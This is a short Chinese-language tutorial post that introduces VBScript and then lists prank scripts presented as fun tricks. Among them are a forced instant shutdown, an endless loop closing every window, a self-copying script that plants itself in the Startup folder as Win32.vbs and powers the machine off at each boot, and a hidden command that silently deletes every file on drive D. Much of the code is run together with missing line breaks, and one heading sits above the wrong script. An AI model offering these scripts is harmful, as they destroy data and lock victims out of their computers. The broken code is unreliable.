VBScript(Microsoft Visual Basic Script Editon).， VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。
如何制作简单的vbs程序？
1、打开记事本。
2、输入
msgbox("Hello World！")
3、保存 注意：一定要保存为所有文件的*.vbs格式！
4、运行
利用vbs我们可以制作许多有趣的事情。
直接关机：
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true 不断按下alt+f4 ：
打开任何程序都关掉
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") dowscript.sleep 2500 WSHshell.SendKeys "%{F4}" loop 修改注册表： on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true ws.run"shutdown -p",vbhide 无尽语音报数：
无限语音从1数到无限大。
Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 无限弹出光驱： set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop 无限打开计算器：
Set Ws=WScript.CreateObject("Wscript.shell")doWs.run "calc"WScript.Sleep 1000loop 直接关机：
dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true开机就重起：
Set Ws=WScript.CreateObject("Wscript.shell")doWs.run "calc"WScript.Sleep 1000loop 不断弹出窗口：
while(1)msgbox "哈哈 你被耍了！"loop
其实、还是不要恶搞的好...
@ Mayuko